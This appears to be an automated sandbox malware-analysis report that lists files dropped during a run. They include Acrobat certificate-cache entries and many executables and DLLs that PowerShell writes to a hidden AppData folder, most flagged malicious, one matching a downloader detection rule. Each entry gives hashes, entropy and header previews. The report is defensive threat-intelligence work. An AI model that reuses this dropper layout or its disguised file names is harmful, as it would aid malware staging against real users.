Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	unknown
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:
MD5:	B31891E56F71A0885375BC27866C2666
SHA1:	9D1DC5FC47391DAFA6508C7F1522DCC0D815A488
SHA-256:	08C98FBAC3BED64D96FC455D7E91650CEC14EF8342A283536A380ED9178A851F
SHA-512:	A7ED23A1F803B77D5A7FFB9F416538C70B83FB7D9BD3214B42319CD62E48B83A7CAEC8DFF3D8809679F81EB93F65F97BEAA590978B7C6FAA25CE29996D037C95
Malicious:	false
Reputation:	unknown
Preview:	p...... ......... My.K..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:
MD5:	7AA092CC50E008B564ACA47C7F2ED928
SHA1:	3998F307FE83AC021624F58891F514885D68915A
SHA-256:	9AB8027FFB439ED3AA4C33F698FCBDA94C88E1EE71BBD65723B76CDE6D3D3521
SHA-512:	BE54C92BFE8F2844C26B205B1144086AE25B0B3291AB9B594242DBB89AC850CDA3AC779DBE4657B1AAE311591E6317792B94F27A3D8D9C5D97B19C28B2AB5670
Malicious:	false
Reputation:	unknown
Preview:	p...... .........uO..K..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	94379856
Entropy (8bit):	4.2974771965057785
Encrypted:	false
SSDEEP:
MD5:	4A07192AC8A18D0A148D1EC12F27F9CB
SHA1:	B572E92CC05830D238FD5947C012659B8217C344
SHA-256:	984993A5F7A451238A1858C73B395676269DCD8D56C4452B46E74E7511DBB596
SHA-512:	167375406A9BEB39628A2B356604AFF51E6E81BBF96891E2BD5910EC421A603FB1B9BE7485A49D030B5E445CD4BBD97CCB70A40F16FC0465FF0BB2ECEF15A2A9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...x...B...8............@.......................... ......:.....@.................................@...........6...............p....`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc...6...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\MOG_Framework_2.2.14_vc10.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	308936
Entropy (8bit):	6.036934748319709
Encrypted:	false
SSDEEP:
MD5:	DBA793BC86370520DA5028125FFBCF81
SHA1:	EBEF20F40345CCC51F7CC46B7199F05EE087E507
SHA-256:	6686A74882961A361D49EE8DA80B18939FAD230FD5AA8A10DAD16253B31AED68
SHA-512:	92B2BF83451208E8001D20C97E7DE6977BE52E1A9A08E8299CC1831351C4DD2789711B2A8D4B2FBB7D14F1A6E2BC028F4930A2C29A003022D981E2E91CFE9BD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........p..L.jUL.jUL.jUEi.UM.jU._.UN.jU#g.UN.jU#g.UB.jU#g.UG.jU#g.UI.jUEi.U@.jUL.kU..jUW..US.jUW..UM.jUW..UM.jURichL.jU................PE..d....:.S.........." ................X...............................................bG....@..........................................N......,1..................(&...................&......................8l..(.................... ...............................text............................... ..`.rdata...D... ...F..................@..@.data...H!...p.......X..............@....pdata..(&.......(...j..............@..@.tls................................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.AspNetCore.Razor.Language.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1089968
Entropy (8bit):	5.8957394991548036
Encrypted:	false
SSDEEP:
MD5:	5BF6B87854A56AE8FA6BE986A11E176F
SHA1:	3B7C4B3C7613FBD2A6E718241F804772655870C8
SHA-256:	3707342FD6A479FCE3A36398B11D5BC94C3C44F4C848B2EC4EDB420345557559
SHA-512:	27450134DB454D06EBB33E5EED69B1811FC680CD000981CAC7AE15CFFAFB123E3557A939B648901F883D31C16BE94A865EC10E210F1B941B2081432EFD545715
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...."............" ..0..p.............. ........... ....................................`.....................................O....................z...'..............T............................................ ............... ..H............text....n... ...p.................. ..`.rsrc................r..............@..@.reloc...............x..............@..B.......................H........H..t.............................................................(@.....(@.....(@...^.(@..........%...}....:.(@.....}....:.(@.....}....:.(@.....}....2.\|....(A..."..}...."..(....f..{.....b.{....X.ja}.......0..8..............e.....e...-.qe........e...-.&.+...e...oB...(.....0............e...-..+...oC......(....2 ....js......{...."..}......{...."..}.......0...........{....-.(...+...(......,..oE....1...((.....}.....{....,..(4.....}......{....-..*.(..

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.Azure.Management.Storage.Fluent.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	451976
Entropy (8bit):	6.175950311293459
Encrypted:	false
SSDEEP:
MD5:	37872F0FA983969C4776312C9F03F4E0
SHA1:	545A8E5F4339BC5283BA61EF28693D4F4AB27170
SHA-256:	8618A37449ADF745350E6E85195C47F650B000FAC2FCDB6C60A69FB150B4F112
SHA-512:	9B7B4E4B2B0EEC3176762318D523735A3FBE1BF887C0AF5D0EAF72EC121E93F9D45C1A22B59338C0DC6C1BA678206654D5F4A1936784FA656609EAA02C2C3C7E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....v............" ..0.................. ........... ....................... .......e....`.....................................O........................#..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........)..............................................................f.(........(.......(.......{...."..}......{...."..}......{....2.(/...o0...v..s....(1.......}......}......0..e.........o2....(1.......}......o2...}......o0...r...p(3...}......o0...r...p(3...}......o0...r?..p(3...}........0..B.......s.......}......}.....(4...}......}.....{.........(...+.\|....(6......0..B.......s.......}......}.....(7...}......}.....{.........(...+.\|....(9...*...0............(/...o

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	579744
Entropy (8bit):	6.545584077610805
Encrypted:	false
SSDEEP:
MD5:	5252B3788A4CFB7EF36642212AC460F3
SHA1:	B44C29EA72F33839A273F40539EA47FB25634BE4
SHA-256:	6281C5063526422866A5AD86AA3924535008BEE062182EF1EC40DA481C4FB373
SHA-512:	976F5DDFF15075825ADFA7B35CA716B4E51830CB6F9F8E8C0483544E6727C63034BF3DD07D8CF3ED91B2BF6119E9CBFC6BFA14EAADB32F0F175292AB833D7599
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................." .................................................................Y....`...@......@............... ..................................<...@..../.......(..........`/..p...........................................................@...H............text............................... ..`.data...p...........................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.TestPlatform.VsTestConsole.TranslationLayer.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	243976
Entropy (8bit):	6.518668650884424
Encrypted:	false
SSDEEP:
MD5:	3204AEB6D65C73FB1F9261E3526C2333
SHA1:	C5A5F342A3B98318D4D1D39FA771AFE22A59CAFC
SHA-256:	4A3003A094E21BC7039DA4D77C4F296D9940024D6924E73E485789F71FC1E218
SHA-512:	4B8A7F1DA59EEE11EE243693B131F9D60E63DA9EAB118E580E90658BC19C466F7D6231EC66ACE09C62E5847BB36B61D0F85AB39F3B211524997BE0F0CEF01EF6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...T............." .........p............................................................`...@......@............... ..................................$................)...........U..............................................................(...H............text...{........................... ..`.data....W... ...`... ..............@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	310688
Entropy (8bit):	6.129810903164947
Encrypted:	false
SSDEEP:
MD5:	01FCF5616DA8122CE851BDE1A9663424
SHA1:	4E839D112AF6E1B0FF3FB1DED4061F381B711717
SHA-256:	AFEC345579E0CE777CE5C28A69A9D09D863BBBD8AAFF4BF35674DF69D7F4919B
SHA-512:	F6714DF5CDB5EF1DD2B244EC493217B3A134C6AB0FD630F1E9D7288524B091AECE14E93FECAEDF0ADF6A7E58F7FCD4EF61989712F6A60D4F7713DBB701900E67
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.Setup.Download.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....b..........." ..0.............N.... ........... ....................................`.....................................O.......\|................%..........L...8............................................ ............... ..H............text...T.... ...................... ..`.rsrc...\|...........................@..@.reloc..............................@..B........................H...........(..................L.........................................(.....(...^.(..........%...}....:.(.....}....:.(.....}....^.(..........%...}....:.(.....}....:.(.....}....V!...H....s+........"..(,...&...(-....r...p.0..R........(.....r...p(/....r...p(/....r...p(/......(...+%-.&.s ...s....}......}......}.......0..G.........(1...}.......}.......}.......}.......}......\|......(...+..\|....(3.....0..G.........(1...}.......}.......}.......}.......}....

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	218144
Entropy (8bit):	6.342582579074741
Encrypted:	false
SSDEEP:
MD5:	35BEF154E0C3526BDE8CA3622E8C3044
SHA1:	5DD4BE9EE6A337458CE2407DCE3A5D14C650F273
SHA-256:	98AF01CB023C78DEAF2E4ACDAF54371D05860F4D15FD8B4199E37FDBDA602DB3
SHA-512:	A2F8FA63345999AEA97875357C3FE7886C6B63077D1B3C3268F03E522542D77F2BF181D50AE184EFDD5A111406867F8E953F1D319286F8DBB1695F0650221E42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...^............" ..0.."...........A... ...`....... ....................................`.................................JA..O....`...............,.. (..........L@..8............................................ ............... ..H............text....!... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................~A......H.......D..............,;.. ...L?........................................(....^.(.......R...%...}....:.(......}....:.(......}....:.(......}....V!.n..e....s/..........(......(......(......{....:.(......}......(......{....:.(......}......{....^.(.......T...%...}....:.(......}......{......{....z.(......}.......T...%...}....V.(......}......}......(......{....:.(......}......{....:.(......}....>..( .....}....N.\|......(0...(!...b.\|.....( ...(1...(!...&*

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WRServices.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1406152
Entropy (8bit):	4.775822964798155
Encrypted:	false
SSDEEP:
MD5:	EE6F9D726C4BD81F14AE11979EDBB806
SHA1:	DCD102ECDABB276B2F4FBD53A79E55553B1DF9E3
SHA-256:	75646BE4D3E86D3529B8B7EBC73C3F7D02BDB1ED159924EC9EEF52731A568057
SHA-512:	EED1DD2EF2697B3388638FE547CBAC10B0334602B92DDFBA556F17295F336930A35A20A8584BDB855C1BB31BCD078211F0BC75C5B4A25D5C069CA35E5311C470
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W....{mG.{mG.{mG.G.{mG..G.{mG.G.{mG.G.{mG.G.{mG.{lGA{mG...G.{mGu..G.{mGu..G.{mGu..G.{mG.{.G.{mGu..G.{mGRich.{mG........PE..d...'~.S.........." ................Pr...............................................t.... .........................................`r..T...`i..x....P..0.......,X...\.......`...,......8...............................p............................................text............................... ..`.rdata..............................@..@.data...@....`...z...F..............@....pdata..,X.......Z..................@..@.rsrc...0....P......................@..@.reloc...8...`...:..."..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\WzWXFmfire64.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	656536
Entropy (8bit):	4.506463086481659
Encrypted:	false
SSDEEP:
MD5:	EA3DC18634B8738DD3DFA677A0661DF8
SHA1:	CDE8DC8859E7490644F07C6C03D7B3807674C502
SHA-256:	02637DFE69F4C0A5D706BFF5E963DF51C884389C8E31217B8505574DED4E6393
SHA-512:	CFE91385E4C0D06FA5C1A67D8FEA44C3364C7FF2B134EBA512B673C412B628F0CF85A5AC1B22B1F3D3190C749DCA6AA5D209FD73A4A48DD860AFD5DAB445518F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........'w.lI$.lI$.lI$...$.lI$/#.$.lI$...$.lI$...$.lI$...$.lI$...$.lI$..2$.lI$.lH$.lI$...$.lI$...$.lI$.>.$.lI$.l.$.lI$...$.lI$Rich.lI$........PE..d......b.........." ................Hf..............................................er....@..........................................M..u...H@...........................4.......... ...................................................................H............text....[.......\.................. ..`.nep....0-...p.......`.............. ..`.rdata..U...........................@..@.data...0....P.......>..............@....pdata..............................@..@.rsrc...............................@..@.reloc...%.......&..................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	304591
Entropy (8bit):	6.088839857596215
Encrypted:	false
SSDEEP:
MD5:	A0B60EF82C26E13AC0C0273A29543244
SHA1:	BC7F4C9EF4452C863467497ADDDAC3E7B41805E0
SHA-256:	B2A124E9F0E45DF257EBB1A64E061AFF7180FE84A860BF31CF7A1B4648163DF1
SHA-512:	B7D507541BE8DF67C9AB85B98083A4243D737248C51794EE331DC2809EB3817CEA86DFA573ED7E15FB6F874AEDF60AAA06EEF717DE643FCB44D426D609BB298E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................&"...%.....\|...............C............................................... ......................................p..z#......p#...........0..d.................... ..............................................H................................text...............................`..`.data....K.......L..................@....rdata..d...........................@..@.buildid5.... ......................@..@.pdata..d....0......................@..@.xdata..H....@......................@..@.bss....0....`...........................edata..z#...p...$..................@..@.idata..p#.......$...R..............@....reloc...............v..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\libmp4_plugin.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	326272
Entropy (8bit):	6.6003640558108305
Encrypted:	false
SSDEEP:
MD5:	75793202A404E51BB3CDEE11CFDD9E85
SHA1:	09CC2FAF488D14980133EF28D70D6D151401F873
SHA-256:	69E7CEBFF321F467EB48BD94E7B2D1017452E8AF4C04BF14CB929C725819E629
SHA-512:	DA43E8314B205DBA7225CE31AE2D7C3061D268EBC6FA288BB22A801146176C95958AE036FB909692D64063626DB75FDE0655FA99A93F908D2B3DF76E700E4D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................. ...........................@.............................p......H.....`... .................................................p....@..................hN...P..T........................... 0..(....................................................text...@...........................`.P`.data...............................@.`..rdata..............................@.`@.buildid5............b..............@.0@.pdata...............d..............@.0@.xdata...............v..............@.0@.bss....`.............................`..edata..............................@.0@.idata..p...........................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..rsrc........@......................@.0..reloc..T....P......................@.0B/4...........`......................@.0B................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_dec_mp2v.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1325768
Entropy (8bit):	6.3399207981220895
Encrypted:	false
SSDEEP:
MD5:	0C01FFBE7C5D8CFD353682F014889098
SHA1:	13134A2BF496F0919595FD2017C24BC41FF791C7
SHA-256:	35D15982353C1D7B757325ED878743ACC0B6FDF14A60C53502360BB66397FEBE
SHA-512:	C1F72F680222AD266BF3C150A5C5AD53750226CDCF714B6D5B3261DF3A49A53F5CB34F1C7F000B749FD92B05C8AB7E055841EF630FA3CA39DCDA0F34BF787031
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)..m...m...m...v;I.b...d.D.j...m...0...d.T.l...m...z...v;}.....v;\|.W...v;L.l...v;M.l...v;J.l...Richm...........................PE..d...l.OS.........." .....>..................................................p............@..........................................%......x...P....@..@........I...".......P.......S...............................................P...............................text...R<.......>.................. ..`.rdata..{....P.......B..............@..@.data....\...0...H..................@....pdata...I.......J...b..............@..@text................................@.. data.....3.......4..................@..@.rsrc...@....@......................@..@.reloc.......P......................@..B................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mc_mfimport.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1113800
Entropy (8bit):	6.283259404811104
Encrypted:	false
SSDEEP:
MD5:	6AFF24A3711ADC91579A91763DD4DFC4
SHA1:	BCC935D8FC2B36E5EE1361C6740E55BBE92894ED
SHA-256:	548F51978921B908F09FFCACBA024E5B018E3658E767E077A5852D1C7311A1FB
SHA-512:	ADB6E004E5FF015D162188F64A84F041399C50C46DD856E784196E6B74FAF2F7DB2A7ADFBBB4FFC2AB097D5418999E8BF2BF5D8ACBC329A09A35C41890A77FD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w.Y..BY..BY..BP.BZ..BY..B4..BB;.BV..BB;.B...BB;.B...BB;.BX..BB;.BX..BB;.BX..BRichY..B........PE..d.....OS.........." .....P...p......................................................[.....@.....................................................(.......8......................4'..pc...............................................`...............................text....O.......P.................. ..`.rdata..u{...`...\|...T..............@..@.data...............................@....pdata.............................@..@text....n....P.......R..............@.. data.....G...p...H...d..............@..@.rsrc...8...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\mlib_image.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	652704
Entropy (8bit):	6.509199135993956
Encrypted:	false
SSDEEP:
MD5:	162A6455F8547F7FE1231FB4A5BD8F73
SHA1:	80AEC71238E13FC0ACEB5135F5B4DFF2FF242C8E
SHA-256:	8EACFBD95E08F8A3CBC8E5765A4CADD7E1D23057F1ED757483448C670D406D14
SHA-512:	9A76A657C09D3083268A7317301F56C915FC56FB71478D5CA13C27D76523E24BB5222E428750C02C36D7EF767AC329A80EC0086893896DF73BEE190953230556
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........zW..9...9...9..c....9..m....9...8...9..m....9..m....9..m....9..m....9..m....9..m....9.Rich..9.........................PE..d...h.0Q.........." ..........................\|n............................. .......9....@.........................................`..."...p...<...................................P................................................... ............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\msvcp80.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1097728
Entropy (8bit):	6.311360471320814
Encrypted:	false
SSDEEP:
MD5:	5AE0F01F02A03558DA0CBD249E4DF263
SHA1:	64735AB4635B587647A11A599E39D2233D9DE6F0
SHA-256:	5B217DA5D138A26C038AF25E9723C0028A4DE36EF2575526DA6A56570D2422B7
SHA-512:	041EB111C37C986EC01C8340F0715BE272E9DA0FDF321562BAD112B19D399BD4CB494406B82643261994EEFA1B862493D88337F54BABC8AAFE4CAE6DE0CFB2F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A2. \.. \.. \..'.. \.. ].. \...'.. \...".. \...!.. \...2.. \...1.. \...&.. \... .. \...$.. \.Rich. \.................PE..d.....3C.........." .....V...z................B\|................................................................................................<............ .......................v...............................................p..8............................text....U.......V.................. ..`.rdata...n...p...p...Z..............@..@.data....8.......&..................@....pdata....... ......................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364936260755404
Encrypted:	false
SSDEEP:
MD5:	1A57614601524C09116A548931350087
SHA1:	84DFA06ACA1D86ABCA28995AAC43522D71E07FD1
SHA-256:	472B8906CAEB2441CDA8F7C029D66C2AB0E12DBDC9155C039E065FE5A3C7C37E
SHA-512:	97F6F3F39925A292CE9F309E2680E117F339498FA2DF6CB1D1EEB6CE1E67E6CF8D8AA3E3D71AF2E2DC2D51716C6DB4AD3424BFC96F4C5658E5570228E42EED26
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"a28f584e-1e3f-4f39-a04b-3842549fca07","sophiaUUID":"6E6CF47D-878E-41D8-BE92-CB1D7BE5FFE6"},"encodingScheme":true,"expirationDTS":1734118803062,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311095774718297
Encrypted:	false
SSDEEP:
MD5:	547907701D4FFEC00ECD42C00642D798
